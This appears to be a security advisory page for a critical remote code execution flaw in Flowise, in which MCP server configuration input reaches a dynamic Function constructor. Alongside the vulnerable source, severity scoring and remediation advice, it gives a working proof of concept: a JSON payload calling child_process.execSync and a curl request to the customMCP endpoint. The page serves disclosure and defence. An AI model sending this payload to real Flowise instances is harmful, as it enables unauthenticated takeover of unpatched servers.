Skip to content

GHSA-hmgh-466j-fx4c CVE-2025-55346

Flowise vulnerable to RCE via Dynamic function constructor injection

Critical npm
Severity
9.8 / 10
Critical · CVSS 3.0
Exploit chance (EPSS)
22.54%
Chance of exploitation in the next 30 days. Higher than 97.71% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-627 Dynamic Variable Evaluation
CWE-95 Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
Fix
None yet
No fixed version published

Description

Summary

User-controlled input flows to an unsafe implementaion of a dynamic Function constructor , allowing a malicious actor to run JS code in the context of the host (not sandboxed) leading to RCE.

Details

When creating a new Custom MCP Chatflow in the platform, the MCP Server Config displays a placeholder hinting at an example of the expected input structure:

{
	"command": "npx",
	"args": ["-y", "@modelcontextprotocol/server-filesystem", "/path/to/allowed/files"]
}

Behind the scene, a POST request to /api/v1/node-load-method/customMCP is sent with the provided MCP Server Config, with additional parameters (excluded for brevity):

{
...SNIP...

   "inputs":{
      "mcpServerConfig":{
         "command":"npx",
         "args":[
            "-y",
            "@modelcontextprotocol/server-filesystem",
            "/path/to/allowed/files"
         ]
      }
   },
   "loadMethod":"listActions"
   
...SNIP...
}

Sending the same request with the parameter mcpServerConfig equals to a plain value and not an object, for example:

{
   "inputs":{
      "mcpServerConfig":"test"
   },
   "loadMethod":"listActions"
}

We enter an interesting code flow that leads to a function named convertValidJSONString (Line 103): https://github.com/FlowiseAI/Flowise/blob/416e57380ea7ce2e66f89aded61b249ff3eef3b2/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L103

async getTools(nodeData: INodeData): Promise<Tool[]> {
        const mcpServerConfig = nodeData.inputs?.mcpServerConfig as string

        if (!mcpServerConfig) {
            throw new Error('MCP Server Config is required')
        }

        try {
            let serverParams
            if (typeof mcpServerConfig === 'object') {
                serverParams = mcpServerConfig
            } else if (typeof mcpServerConfig === 'string') {
                const serverParamsString = convertToValidJSONString(mcpServerConfig) <--
                serverParams = JSON.parse(serverParamsString)
            }

            const toolkit = new MCPToolkit(serverParams, 'stdio')
            await toolkit.initialize()

            const tools = toolkit.tools ?? []

            return tools as Tool[]
        } catch (error) {
            throw new Error(`Invalid MCP Server Config: ${error}`)
        }
    }
}

Here, the value of inputString originating from mcpServerConfig is being concatenated to a dynamic Function constructor that evaluates the provided value similar to using eval:

function convertToValidJSONString(inputString: string) {
    try {
        const jsObject = Function('return ' + inputString)()
        return JSON.stringify(jsObject, null, 2)
    } catch (error) {
        console.error('Error converting to JSON:', error)
        return ''
    }
}

This JS code runs in the context of the host, not sandboxed using @flowiseai/nodevm like other code execution functionalities within the platform.

This enables access to the global process object and as a result access to all the native NodeJS modules available such as child_process, leading to Remote Code Execution.

{
    "inputs":{
        "mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"
        },
    "loadMethod":"listActions"
}

PoC

  1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as npx, pnpm, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker

  2. Create a new file named payload.json somewhere in your machine, with the following data:

{"inputs":{"mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"},
"loadMethod":"listActions"}
  1. Send the following curl request using the payload.json file created above with the following command:
curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP"
  1. Observe that a new file named yofitofi is created under /tmp folder.

Impact

Remote code execution

Credit

The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.

Affected versions

npm

PackageVulnerableFixed in
flowise
<= 2.2.7-patch.1
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 3.0 9.8

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-627: Dynamic Variable Evaluation

In a language where the user can influence the name of a variable at runtime, if the variable names are not controlled, an attacker can read or write to arbitrary variables, or access arbitrary functions.

How to prevent it
  • Implementation: Refactor the code to avoid dynamic variable evaluation whenever possible.
  • Implementation: Use only allowlists of acceptable variable or function names.
  • Implementation: For function names, ensure that you are only calling functions that accept the proper number of arguments, to avoid unexpected null arguments.

CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").

How to prevent it
  • Architecture and Design, Implementation: If possible, refactor your code so that it does not need to use eval() at all.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
  • Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-w7x8-q2gp-5cgg
Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass
Critical Also affects flowise
GHSA-9gvv-qjj3-2p6g
Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium
High Also affects flowise
GHSA-qgvm-j2hm-6m38
Flowise: Unauthenticated OAuth2 token refresh endpoint returns access tokens — enables token theft for any connected service
Critical Also affects flowise
GHSA-5xvg-pmgg-3mxr
Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability
Critical Also affects flowise
GHSA-gmmw-qg98-6j6p
Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation
High Also affects flowise
GHSA-8gj2-2cvc-6xx7
Flowise: Unauthenticated Credential Abuse via Text-to-Speech Endpoint Allows Unauthorized Use of Private Chatflow TTS Credentials
Medium Also affects flowise
GHSA-fm2f-4339-4p2f
Flowise: Missing Authorization on Execution Update Endpoint
Medium Also affects flowise
GHSA-wch5-xp77-fxg4
Flowise: Cross-Workspace OAuth2 Credential Metadata Leak
High Also affects flowise
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor